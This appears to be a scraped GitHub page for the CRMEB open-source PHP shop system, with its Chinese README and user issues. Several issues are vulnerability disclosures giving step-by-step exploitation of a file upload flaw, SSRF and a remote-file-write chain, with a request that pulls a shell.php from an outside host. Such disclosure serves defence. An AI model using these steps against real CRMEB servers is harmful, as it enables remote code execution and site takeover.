Giter VIP home page Giter VIP logo

crmeb / crmeb Goto Github PK

View Code? Open in Web Editor NEW
4.8K 130.0 1.3K 312.81 MB

🔥CRMEB开源商城免费开源多语言商城系统,Tp6框架商城,系统可商用;包含小程序商城、H5商城、公众号商城、PC商城、App,支持分销、拼团、砍价、秒杀、优惠券、积分、会员等级、小程序直播、页面DIY,前后端分离,方便二开,更有详细使用文档、接口文档、数据字典、二开文档/视频教程,欢迎大家提出宝贵意见和建议

Home Page: http://www.crmeb.com

License: GNU General Public License v3.0

PHP 36.28% Hack 0.01% HTML 1.53% CSS 1.45% JavaScript 8.78% Smarty 0.43% Batchfile 0.01% SCSS 1.14% Vue 50.38% Dockerfile 0.01%
php vue ivewui form-create shop thinkphp wechat wechat-mini-program o2o b2c

crmeb's Introduction

CRMEB开源商城系统PHP版


📋 更新说明

点击查看更新记录

用心做开源,我们也很需要你的鼓励!右上角Star🌟,等你点亮!


📝 介绍

CRMEB开源商城系统是一款全开源可商用的系统,前后端分离开发,全部100%开源,在小程序、公众号、H5、APP、PC端都能用,使用方便,二开方便!安装使用也很简单!使用文档、接口文档、数据字典、二开文档、视频教程,各种资料应有尽有,就算你是技术小白,也能轻松上手!

欢迎大家来体验、来提建议,来一起让CRMEB开源商城系统更强大,让更多开发者受益!虽然是开源,但我们该有的功能全都有!拼团、秒杀、优惠券、抽奖、积分、直播、分销、页面DIY... 常用商城系统功能,都是全开源,直接用!

CRMEB开源商城Java版:https://gitee.com/ZhongBangKeJi/crmeb_java


🫧 系统亮点

1.前后端分离:后端TP6,管理端iView UI,移动端Uni-app;
2.代码规范:遵循PSR-2命名规范、Restful标准接口、代码严格分层、注释齐全、统一错误码;
3.权限管理:内置强大灵活的权限管理,可以控制到每一个菜单;
4.开发配置:低代码增加配置、系统组合数据模块;
5.二开效率:应用form-builder PHP快速生成表单、内置所有事件、后台接口管理调试、后台代码在线编辑器、代码生成,快速对接第三方接口;
6.快速上手:详细帮助文档、后台接口管理、后台数据库字典、系统文件管理备注、代码注释、一键安装;
7.系统安全:系统操作日志、系统生产日志、文件校验、数据备份;
8.高 性 能:支持Redis缓存、队列、长连接、多种云储存、支持集群部署。


🖥 运行环境

Nignx/Apache/IIS
PHP 7.1 ~ 7.4 
MySQL 5.7 ~ 8.0
Redis

温馨提示:虚拟空间不支持,推荐使用bt宝塔面板,服务器推荐京东云服务器:注册即享6.5折专属优惠,点我领取!

📱 系统演示

输入图片说明

管理后台: http://v5.crmeb.net/admin

账号:demo 密码:crmeb.com

H5端:http://v5.crmeb.net/ (移动端打开)

PC端:http://v5.crmeb.net/ (电脑端打开)

APP下载:http://app.crmeb.cn/bzv (苹果手机直接在APP Store里搜索CRMEB下载)

听说,大神你想看看CRMEB开源项目的完整框架?戳这儿,轻松获取!


🔐 安装教程

想要快速安装,教程来助攻!查看安装教程!


📲 核心功能

输入图片说明


📖 UI界面展示

输入图片说明 输入图片说明 输入图片说明 输入图片说明


📕 CRMEB公益

做开源,帮助更多人!CRMEB开源项目,不仅让开发者从中受益,也在公益活动中帮助了很多人,对此,我们很荣幸,也乐此不疲!

So~~想要用CRMEB开源商城系统做公益项目的朋友,可以来免费申请商业版系统哦!有需要的朋友,快去找官方客服咨询吧!

输入图片说明 输入图片说明


💎 捐赠

赠人玫瑰,手留余香!CRMEB诚挚地邀请大家积极参与捐赠,我们会将捐赠获得的费用,悉数用于支持公益项目,让善意无限传递下去! 在此深表感谢~


📞 CRMEB互动

CRMEB开源技术交流群

扫码进群可领取开源版接口文档、产品功能清单、高清UI设计图、思维脑图!

输入图片说明

技术社区!找方法、提bug、看官方消息、拿活跃大奖!都在 CRMEB 技术社区 应有尽有


📻 感谢参与开发者

感谢大神们提交代码(排名不分先后)

@yizhisamoye,@bys1123,@xaboy,@youngxj0,@jacklincheung,@392256866,@sxsea

欢迎反馈问题

欢迎提交代码


📸 特别鸣谢

排名不分先后,感谢这些软件的开发者:thinkphp、iview、vue、mysql、redis、uniapp、echarts、tree-table-vue、swiper、form-create等,如有遗漏请联系我!


🎬 核心开发团队

产品:木子刀客

技术:聆听、等风来、xaboy、吴汐、最后一片叶、旺仔、小小、娜娜、归来仍是少年

UI:xy-yyds、LXT

测试:夏天、绵绵羊、。ws、半山


📺 使用须知

1、允许用于个人学习、毕业设计、教学案例、公益事业、商业使用;

2、如果商用必须保留版权信息,请自觉遵守;

3、禁止将本项目的代码和资源进行任何形式的出售,产生的一切任何后果责任由侵权者自负。


💾 版权信息

本项目包含的第三方源码和二进制文件之版权信息另行标注。

版权所有Copyright © 2017-2023 by CRMEB (https://www.crmeb.com)

All rights reserved。

CRMEB® 商标和著作权所有者为西安众邦网络科技有限公司。


返回顶部 :fa-arrow-circle-up:

crmeb's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

crmeb's Issues

About a file upload vulnerability

CRMEB vulnerability report.docx

The defect code is in the $filename variable in the videoUpload function in the \crmeb\app\services\system\attachment\SystemAttachmentServices.php file, that is, $filename = $all_dir . '/' . $data['filename'] . '__ ' . $data['chunkNumber'];, it splices $data['chunkNumber'] at the end, which is a controllable parameter transfer on the client side, so that the value of $data['chunkNumber'] can be modified to The suffix is ​​php, which causes the written malicious code to be parsed and executed.

public function videoUpload($data, $file)
{
$public_dir = app()->getRootPath() . 'public';
$dir = '/uploads/attach/' . date('Y') . DIRECTORY_SEPARATOR . date('m') . DIRECTORY_SEPARATOR . date('d');
$all_dir = $public_dir . $dir;
if (!is_dir($all_dir)) mkdir($all_dir, 0777, true);
$filename = $all_dir . '/' . $data['filename'] . '' . $data['chunkNumber'];
move_uploaded_file($file['tmp_name'], $filename);
$res['code'] = 0;
$res['msg'] = 'error';
$res['file_path'] = '';
if ($data['chunkNumber'] == $data['totalChunks']) {
$blob = '';
for ($i = 1; $i <= $data['totalChunks']; $i++) {
$blob .= file_get_contents($all_dir . '/' . $data['filename'] . '
' . $i);
}
file_put_contents($all_dir . '/' . $data['filename'], $blob);
for ($i = 1; $i <= $data['totalChunks']; $i++) {
@Unlink($all_dir . '/' . $data['filename'] . '' . $i);
}
if (file_exists($all_dir . '/' . $data['filename'])) {
$res['code'] = 2;
$res['msg'] = 'success';
$res['file_path'] = sys_config('site_url') . $dir . '/' . $data['filename'];
}
} else {
if (file_exists($all_dir . '/' . $data['filename'] . '
' . $data['chunkNumber'])) {
$res['code'] = 1;
$res['msg'] = 'waiting';
$res['file_path'] = '';
}
}
return $res;
}
}

Vulnerability Exploitation Steps:

  1. Log in to the background

image

  1. Select commodity, then select commodity Management, and click Add commodity.

image

3、 Select any commodity category, enter any commodity name, and enter any commodity unit
image

4、Open the add video button
image

  1. Use any packet capture tool to open the interception package. I am using BurpSuite here. (As shown below)

image

6、 Click the plus sign and select the test video you prepared (recommended video length is less than 10 seconds)

image

7、The package is successfully truncated (as shown in the figure below)

image

8.、Select the all uploaded video data and delete it. (As shown below)

image

9、After the deletion is complete, write the malicious code on it

image

10、Replace the content below the chunkNumber pass parameter with 1.php

image

11、Click forward Package

image

Malicious file has been successfully uploaded, how to access it?

An example is as follows:
http://your domain name/uploads/attach/year when you uploaded/month when you uploaded/day when you uploaded/file name__ (note the double underscore here) 1.php

(This is because the program will create some file directories named after your upload time)

So My current time is April 13, 2023, so my access example is as follows:
http://192.168.101.100/uploads/attach/2023/04/13/68CECACC23AB0161625A5BFFE46C3E7A.mp4__1.php

Access the malicious code file just uploaded and execute it successfully
image

An SSRF vulnerability leads to system access

By looking at the source code, we found a SSRF vulnerability that could read arbitrary files on a remote or local server and save them to a web server. Therefore, malicious users can download the malicious Trojan files to the web server to obtain the permissions of the web server。

analysis:
public function downloadImage($url = '', $name = '', $type = 0, $timeout = 30, $w = 0, $h = 0) { if (!strlen(trim($url))) return ''; if (!strlen(trim($name))) { //TODO 获取要下载的文件名称 $downloadImageInfo = $this->getImageExtname($url); if (!$this->checkExtname($url, $downloadImageInfo['ext_name'])) { return JsonService::fail('文件后缀不合法'); } $name = $downloadImageInfo['file_name']; if (!strlen(trim($name))) return ''; }

The above code is to get the name of the file to download

//TODO 获取远程文件所采用的方法 if ($type) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //TODO 跳过证书检查 if (stripos($url, "https://") !== FALSE) curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); //TODO 从证书中检查SSL加密算法是否存在 curl_setopt($ch, CURLOPT_HTTPHEADER, array('user-agent:' . $_SERVER['HTTP_USER_AGENT'])); if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);//TODO 是否采集301、302之后的页面 $content = curl_exec($ch); curl_close($ch); } else { try { ob_start(); readfile($url); $content = ob_get_contents(); ob_end_clean(); } catch (\Exception $e) { return $e->getMessage(); } }
Since the default value of the $type parameter is 0, it will skip the if judgment directly and jump to the else judgment. The readfile method reads the value of the $url parameter and writes it to the output buffer. $content gets the content of the output buffer through the ob_get_contents() method.

$size = strlen(trim($content)); if (!$content || $size <= 2) return '图片流获取失败'; $date_dir = date('Y') . DS . date('m') . DS . date('d'); $upload_type = sys_config('upload_type', 1); $upload = new Upload((int)$upload_type, [ 'accessKey' => sys_config('accessKey'), 'secretKey' => sys_config('secretKey'), 'uploadUrl' => sys_config('uploadUrl'), 'storageName' => sys_config('storage_name'), 'storageRegion' => sys_config('storage_region'), ]); $info = $upload->to('attach/' . $date_dir)->validate()->stream($content, $name); if ($info === false) { return $upload->getError(); } $imageInfo = $upload->getUploadInfo(); $date['path'] = str_replace('\\', '/', $imageInfo['dir']); $date['name'] = $imageInfo['name']; $date['size'] = $imageInfo['size']; $date['mime'] = $imageInfo['type']; $date['image_type'] = $upload_type; $date['is_exists'] = false; return $date; }
The rest of the code is to write the contents of the read file to the web server.

Recurrence of loopholes:
1、http://localhost/admin/store._copy_taobao/downloadImage
poc:
`POST http://localhost/admin/store._copy_taobao/downloadImage HTTP/1.1
Host: localhost
Content-Length: 77
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/store.copy_taobao/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: clear_0.0.1=1; PHPSESSID=fa722bf27161fcf456f38e1f47750105; mapKey=%22%22; login_back_url=%22/cart%22
Connection: close

url=http://x.x.x.x/shell.php&name=shell.php`
image
image

致命错误: Call to undefined function think\captcha\imagettftext()

**

  1. Notes: Running the code in Mac os x,

  2. php version: 7.1.23
    **
    [0] ThrowableError in Captcha.php line 191
    致命错误: Call to undefined function think\captcha\imagettftext()
    // 中文验证码
    for ($i = 0; $i < $this->length; $i++) {
    $code[$i] = iconv_substr($this->zhSet, floor(mt_rand(0, mb_strlen($this->zhSet, 'utf-8') - 1)), 1, 'utf-8');
    imagettftext($this->_image, $this->fontSize, mt_rand(-40, 40), $this->fontSize * ($i + 1) * 1.5, $this->fontSize + mt_rand(10, 20), $this->_color, $this->fontttf, $code[$i]);
    }
    } else {
    for ($i = 0; $i < $this->length; $i++) {
    $code[$i] = $this->codeSet[mt_rand(0, strlen($this->codeSet) - 1)];
    $codeNX += mt_rand($this->fontSize * 1.2, $this->fontSize * 1.6);
    imagettftext($this->_image, $this->fontSize, mt_rand(-40, 40), $codeNX, $this->fontSize * 1.6, $this->_color, $this->fontttf, $code[$i]);
    }
    }

     // 保存验证码
     $key                   = $this->authcode($this->seKey);
     $code                  = $this->authcode(strtoupper(implode('', $code)));
     $secode                = [];
     $secode['verify_code'] = $code; // 把校验码保存到session
     $secode['verify_time'] = time(); // 验证码创建时间
    

Call Stack
in Captcha.php line 191
at Captcha->entry() in Login.php line 62
at Login->captcha()
at ReflectionMethod->invokeArgs(object(Login), []) in App.php line 343
at App::invokeMethod([object(Login), 'captcha'], []) in App.php line 611
at App::module(['admin', 'login', 'captcha'], ['app_host' => '', 'app_debug' => true, 'app_trace' => false, ...], true) in App.php line 456
at App::exec(['type' => 'module', 'module' => ['admin', 'login', 'captcha']], ['app_host' => '', 'app_debug' => true, 'app_trace' => false, ...]) in App.php line 139
at App::run() in start.php line 19
at require('/Volumes/arm/blockch...') in index.php line 31
Environment Variables
GET Data
1560672751000
POST Dataempty
Filesempty
Cookies
_ga GA1.1.2088212418.1557614475
PHPSESSID eda0b40f6e4da22b274b3c35e8724e61
is_login 0
is_bg 1
Sessionempty
Server/Request Data
REDIRECT_STATUS 200
HTTP_HOST localhost
HTTP_CONNECTION keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS 1
HTTP_USER_AGENT Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
HTTP_ACCEPT_ENCODING gzip, deflate, br
HTTP_ACCEPT_LANGUAGE zh-CN,zh;q=0.9,en;q=0.8
HTTP_COOKIE ga=GA1.1.2088212418.1557614475; PHPSESSID=eda0b40f6e4da22b274b3c35e8724e61; is_login=0; is_bg=1
PATH /usr/bin:/bin:/usr/sbin:/sbin
SERVER_SIGNATURE
SERVER_SOFTWARE Apache/2.4.34 (Unix) PHP/7.1.23
SERVER_NAME localhost
SERVER_ADDR ::1
SERVER_PORT 80
REMOTE_ADDR ::1
DOCUMENT_ROOT /Volumes/arm/blockchain/apache2Root
REQUEST_SCHEME http
CONTEXT_PREFIX
CONTEXT_DOCUMENT_ROOT /Volumes/arm/blockchain/apache2Root
SERVER_ADMIN [email protected]
SCRIPT_FILENAME /Volumes/arm/blockchain/apache2Root/index.php
REMOTE_PORT 58901
REDIRECT_URL /admin/login/captcha.html
REDIRECT_QUERY_STRING 1560672751000
GATEWAY_INTERFACE CGI/1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING 1560672751000
REQUEST_URI /admin/login/captcha.html?1560672751000
SCRIPT_NAME /index.php
PATH_INFO /admin/login/captcha.html
PATH_TRANSLATED redirect:/index.php/admin/login/captcha.html/login/captcha.html
PHP_SELF /index.php/admin/login/captcha.html
REQUEST_TIME_FLOAT 1560672765.628
REQUEST_TIME 1560672765
argv [ "1560672751000" ]
argc 1
Environment Variables
PATH /usr/bin:/bin:/usr/sbin:/sbin
XPC_SERVICE_NAME 0
XPC_FLAGS 0x80
OBJC_DISABLE_INITIALIZE_FORK_SAFETY YES
XPC_SERVICES_UNAVAILABLE 1
ThinkPHP Constants
APP_PATH /Volumes/arm/blockchain/apache2Root/application/
PUBILC_PATH /public/
UPLOAD_PATH public/uploads
THINK_VERSION 5.0.24
THINK_START_TIME 1560672765.637
THINK_START_MEM 379936
EXT .php
DS /
THINK_PATH /Volumes/arm/blockchain/apache2Root/thinkphp/
LIB_PATH /Volumes/arm/blockchain/apache2Root/thinkphp/library/
CORE_PATH /Volumes/arm/blockchain/apache2Root/thinkphp/library/think/
TRAIT_PATH /Volumes/arm/blockchain/apache2Root/thinkphp/library/traits/
ROOT_PATH /Volumes/arm/blockchain/apache2Root/
EXTEND_PATH /Volumes/arm/blockchain/apache2Root/extend/
VENDOR_PATH /Volumes/arm/blockchain/apache2Root/vendor/
RUNTIME_PATH /Volumes/arm/blockchain/apache2Root/runtime/
LOG_PATH /Volumes/arm/blockchain/apache2Root/runtime/log/
CACHE_PATH /Volumes/arm/blockchain/apache2Root/runtime/cache/
TEMP_PATH /Volumes/arm/blockchain/apache2Root/runtime/temp/
CONF_PATH /Volumes/arm/blockchain/apache2Root/application/
CONF_EXT .php
ENV_PREFIX PHP

IS_CLI false
IS_WIN false

定时器任务

一个电商系统没有定时器功能,不觉得很奇葩吗?

  • 自动收货,
  • 定时结算数据.
  • 统计报表数据

这些都需要一个简单好用的 定时器, 我都看到代码中很多地方的统计功能,但是配置并没有提起定时处理的问题,

订单管理出错

订单管理出错,我看你们那个在线演示那个站是正常的,请问是什么原因?

image

小程序配置没填错提示"获取session_key失败"

image
提示信息{"status":400,"msg":"获取session_key失败,请检查您的配置!","data":{"line":243,"message":"Request AccessToken fail. response: {"errcode":40013,"errmsg":"invalid appid hint: [zr13ta0204e668]"}"}}

docker部署问题,试过换镜像,vi /etc/resolv.conf 也试过

Pulling mysql (mysql:5.7)...
ERROR: Get "https://registry-1.docker.io/v2/": proxyconnect tcp: dial tcp: lookup http.docker.internal on 192.168.65.7:53: read udp 192.168.10.100:48056->192.168.65.7:53: i/o timeout

Pulling mysql (daocloud.io/library/mysql:5.7.5-m15)...
ERROR: Get "https://daocloud.io/v2/": proxyconnect tcp: dial tcp: lookup http.docker.internal on 192.168.65.7:53: read udp 192.168.10.100:57697->192.168.65.7:53: i/o timeout

无法引用上级目录的文件啊

Fatal error: require(): Failed opening required '/home/wwwroot/test.com/public/../vendor/autoload.php' (include_path='.:/usr/local/php/lib/php') in /home/wwwroot/test.com/public/index.php on line 16
我看PHP文件写的:
require DIR . '/../vendor/autoload.php';

4.7.0版本的无法登录

安装完成后,登录时会报错:
Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'login_captcha')

小程序用户授权登录 500 系统错误

问题描述:

小程序 用户授权登录 500 系统错误。

{code: 500, msg: "系统错误", data: [], count: 0} code : 500 count : 0 data : [] msg : "系统错误"

配置环境:

  • PHP 7.0
  • NGINX 1.16
  • MYSQL 5.5.62
  • Pure-Ftbd 1.0.49

其余配置:

  • 域名已启用非强制性 https
  • 已通过 ICP 企业备案
  • 后台配置确保 APPID 与 SecretID 配置无误
  • 业务域名配置准确
  • 安装版本为当前仓库下 commit 2cdcd06 即修复了 ThinkPHP 远程执行漏洞的版本

Add a security policy

Hello 👋

I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@Hzllaga) has found a potential issue, which I would be eager to share with you.

Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

Looking forward to hearing from you 👍

(cc @huntr-helper)

许可协议

为何不采用类似Apache v2和MIT这样宽松的许可协议?

我先学习下小程序版(MIT)。

最基本的SQL都没弄明白,麻烦领导多监督

$model = $model->field(['*', self::distanceSql($latitude, $longitude)])->order('distance asc');

/**
 * 获取排序sql
 * @param $latitude
 * @param $longitude
 * @return mixed
 */
public static function distanceSql($latitude, $longitude)
{
    $field = "(round(6367000 * 2 * asin(sqrt(pow(sin(((latitude * pi()) / 180 - ({$latitude} * pi()) / 180) / 2), 2) + cos(({$latitude} * pi()) / 180) * cos((latitude * pi()) / 180) * pow(sin(((longitude * pi()) / 180 - ({$longitude} * pi()) / 180) / 2), 2))))) AS distance";
    return $field;
}

An arbitrary file download vulnerability exists

1.After downloading the source code, go to the add function in the app/adminapi/controller/v1/marketing/live/LiveGoods.php file.
`public function add()
{
[$goods_info] = $this->request->postMore([
['goods_info', []]
], true);
if (!$goods_info) return app('json')->fail('请选择商品');
foreach ($goods_info as $goods) {
if (!$goods['id']) return app('json')->fail('请选择商品');
if (!$goods['store_name']) return app('json')->fail('请输入名称');
if (!$goods['image']) return app('json')->fail('请选择背景图');
if (!$goods['price']) return app('json')->fail('请输入直播价格');
if ($goods['price'] <= 0) return app('json')->fail('直播价格必须大于0');
}
$this->services->add($goods_info);
return app('json')->success('添加成功');

}`

2.The function accepts a goods_info parameter from the front end and assigns it to the variable $goods_info
[$goods_info] = $this->request->postMore([ ['goods_info', []] ], true);

3.Enter the add function of the $services object by tracking the $goods_info parameter
$this->services->add($goods_info);

4.In this class you can see services declared as class LiveGoodsServices
public function __construct(App $app, LiveGoodsServices $services) { parent::__construct($app); $this->services = $services; }

5.In this class, you can see that services is declared as class LiveGoodsS to the file app/services/activity/live/LiveGoodsServices.php, and the source code of the function add is as follows: services public function add(array $goods_info)
{
$product_ids = array_column($goods_info, 'id');
$this->create($product_ids);
$miniUpload = MiniProgramService::materialTemporaryService();
/** @var DownloadImageService $download */
$download = app()->make(DownloadImageService::class);
$dataAll = $data = [];
$time = time();
foreach ($goods_info as $product) {
$data = [
'product_id' => $product['id'],
'name' => Str::substrUTf8($product['store_name'], 12, 'UTF-8', ''),
'cover_img' => $product['image'] ?? '',
'price_type' => 1,
'cost_price' => $product['cost_price'] ?? 0.00,
'price' => $product['price'] ?? 0.00,
'url' => 'pages/goods_details/index?id=' . $product['id'],
'sort' => $product['sort'] ?? 0,
'add_time' => $time
];
try {
$path = root_path() . 'public' . $download->thumb(true)->downloadImage($data['cover_img'])['path'];
$coverImgUrl = $miniUpload->uploadImage($path)->media_id;
@Unlink($path);
} catch (\Throwable $e) {
Log::error('添加直播商品图片错误,原因:' . $e->getMessage());
$coverImgUrl = $data['cover_img'];
}
$res = MiniProgramService::addGoods($coverImgUrl, $data['name'], $data['price_type'], $data['url'], floatval($data['price']));
$data['goods_id'] = $res['goodsId'];
$data['audit_id'] = $res['auditId'];
$data['audit_status'] = 1;
$dataAll[] = $data;
}
if (!$goods = $this->dao->saveAll($dataAll)) {
throw new AdminException('添加商品失败');
}
return true;
}`

6.Continue to track the $goods_info variable, the function assigns the information in the $goods_info array to $data
foreach ($goods_info as $product) { $data = [ 'product_id' => $product['id'], 'name' => Str::substrUTf8($product['store_name'], 12, 'UTF-8', ''), 'cover_img' => $product['image'] ?? '', 'price_type' => 1, 'cost_price' => $product['cost_price'] ?? 0.00, 'price' => $product['price'] ?? 0.00, 'url' => 'pages/goods_details/index?id=' . $product['id'], 'sort' => $product['sort'] ?? 0, 'add_time' => $time ];

7.Continue reading down, pass the cover_img value of the $data array to the downloadImage function, and follow up
$path = root_path() . 'public' . $download->thumb(true)->downloadImage($data['cover_img'])['path'];

8.Go to the file crmeb/services/DownloadImageService.php, the source code of the function downloadImage is as follows:
public function downloadImage(string $url, $name = '') { if (!$name) { //TODO 获取要下载的文件名称 $downloadImageInfo = $this->getImageExtname($url); $name = $downloadImageInfo['file_name']; if (!$name) throw new ValidateException('上传图片不存在'); } if (strstr($url, 'http://') === false && strstr($url, 'https://') === false) { $url = 'http:' . $url; } $url = str_replace('https://', 'http://', $url); if ($this->path == 'attach') { $date_dir = date('Y') . DIRECTORY_SEPARATOR . date('m') . DIRECTORY_SEPARATOR . date('d'); $to_path = $this->path . '/' . $date_dir; } else { $to_path = $this->path; } $upload = UploadService::init(1); if (!file_exists($upload->uploadDir($to_path) . '/' . $name)) { ob_start(); readfile($url); $content = ob_get_contents(); ob_end_clean(); $size = strlen(trim($content)); if (!$content || $size <= 2) throw new ValidateException('图片流获取失败'); if ($upload->to($to_path)->down($content, $name) === false) { throw new ValidateException('图片下载失败'); } $imageInfo = $upload->getDownloadInfo(); $path = $imageInfo['dir']; if ($this->thumb) { Image::open(root_path() . 'public' . $path)->thumb($this->thumbWidth, $this->thumHeight)->save(root_path() . 'public' . $path); $this->thumb = false; } } else { $path = '/uploads/' . $to_path . '/' . $name; $imageInfo['name'] = $name; } $date['path'] = $path; $date['name'] = $imageInfo['name']; $date['size'] = $imageInfo['size'] ?? ''; $date['mime'] = $imageInfo['type'] ?? ''; $date['image_type'] = 1; $date['is_exists'] = false; return $date; }

9.The controllable variable $data['cover_img'] is passed as a parameter to $url, continue to track $url, the function obtains the file content from the address specified by $rul, and saves it in the variable $content
ob_start(); readfile($url); $content = ob_get_contents(); ob_end_clean();

10.Track $content, pass $content to function $down
 $upload->to($to_path)->down($content, $name)

11.Go to the file crmeb/services/upload/storage/Local.php, the source code of the function down is as follows:
 public function down(string $fileContent, string $key = null)   {        if (!$key) {            $key = $this->saveFileName();       }        $dir = $this->uploadDir($this->path);        if (!$this->validDir($dir)) {            return $this->setError('Failed to generate upload directory, please check the permission!');       }        $fileName = $dir . '/' . $key;        file_put_contents($fileName, $fileContent);        $this->downFileInfo->downloadInfo = new File($fileName);        $this->downFileInfo->downloadRealName = $key;        $this->downFileInfo->downloadFileName = $key;        $this->downFileInfo->downloadFilePath = $this->defaultPath . '/' . $this->path . '/' . $key;        return $this->downFileInfo;   }

12.Continue to track $fileContent, the function writes the contents of $fileContent to the file $fileName
file_put_contents($fileName, $fileContent);

13.Now let's take a look at the value of $fileNmae, go back to the function downloadImage of the file crmeb/services/DownloadImageService.php, $url is a value we can control, passed to the getImageExtname function of this class
$downloadImageInfo = $this->getImageExtname($url);

14.The source code of getImageExtname is as follows, which probably means that the $url link is encrypted by md5 and then copied to file_name as the new name of the file and then returned to the downloadImage function:
public function getImageExtname($url = '', $ex = 'jpg') { $_empty = ['file_name' => '', 'ext_name' => $ex]; if (!$url) return $_empty; if (strpos($url, '?')) { $_tarr = explode('?', $url); $url = trim($_tarr[0]); } $arr = explode('.', $url); if (!is_array($arr) || count($arr) <= 1) return $_empty; $ext_name = trim($arr[count($arr) - 1]); $ext_name = !$ext_name ? $ex : $ext_name; return ['file_name' => md5($url) . '.' . $ext_name, 'ext_name' => $ext_name]; }

15.The downloadImage function assigns the returned value of file_name to the variable $name0
$name = $downloadImageInfo['file_name'];

16.Go back to the down function, splicing the incoming $name as the parameter $key value to the variable $dir as the location of the file, so that we can control the content of the function file_put_contents and know the file s position
$fileName = $dir . '/' . $key;

17.But there is a problem, go back to the function add of the file app/services/activity/live/LiveGoodsServices.php and find that the last file we stored will be deleted using @unlink($path), here you can pass appid without WeChat configuration throws an exception when executing $miniUpload->uploadImage($path)->media_id; to skip the execution of @unlink($path) and execute the code in the catch
try { $path = root_path() . 'public' . $download->thumb(true)->downloadImage($data['cover_img'])['path']; $coverImgUrl = $miniUpload->uploadImage($path)->media_id; @unlink($path); } catch (\Throwable $e) { Log::error('添加直播商品图片错误,原因:' . $e->getMessage()); $coverImgUrl = $data['cover_img']; }
18.After setting up the environment locally, log in to the background,Put malicious code on the server and start the file download service
image-20221025030612377

19.Enter the background, if the following page has set appid, set it to empty
image-20221025034814652

20.Enter the live broadcast product management interface in the background
image-20221025025001348

21.Click to add a product, select the product and submit the packet capture, change the image parameter to the malicious file address on our server
image-20221025030807714

22.Then md5 encode the server file address
image-20221025030938698

23.The access path is as follows:http://domain.com/uploads/attach/{year}/{month}/{day}/{md5 encoding of remote file url}.php
Code executed successfully:
image-20221025031209417

不支持Mysql8.0

请在mysql配置文件修sql-mode或sql_mode为NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

很遗憾不支持8.0.

docker mysql problem

when i use docker-compose up -d command to start the project. All the modules run correctly except MySQL.
And then i try use docker logs crmeb_mysql to show logs of the MySQL but it shows nothing. What should I do then?
image

Use of mutation testing in CRMEB - Help needed

Hello there!

My name is Ana. I noted that you use the mutation testing tool in the project.
I am a postdoctoral researcher at the University of Seville (Spain), and my colleagues and I are studying how mutation testing tools are used in practice. With this aim in mind, we have analysed over 3,500 public GitHub repositories using mutation testing tools, including yours! This work has recently been published in a journal paper available at https://link.springer.com/content/pdf/10.1007/s10664-022-10177-8.pdf.

To complete this study, we are asking for your help to understand better how mutation testing is used in practice, please! We would be extremely grateful if you could contribute to this study by answering a brief survey of 21 simple questions (no more than 6 minutes). This is the link to the questionnaire https://forms.gle/FvXNrimWAsJYC1zB9.

Drop me an e-mail if you have any questions or comments ([email protected]). Thank you very much in advance!!

There is a ssrf vulnerability

1.After downloading the source code, go to the get_image_base64 function in the app/api/controller/v1/PublicController.php file.
`/**

  • 获取图片base64
  • @param Request $request
  • @return mixed
    */
    public function get_image_base64(Request $request)
    {
    [$imageUrl, $codeUrl] = $request->postMore([
    ['image', ''],
    ['code', ''],
    ], true);
    try {
    $code = CacheService::get($codeUrl, function () use ($codeUrl) {
    $codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
    if (!$codeTmp) {
    $putCodeUrl = put_image($codeUrl);
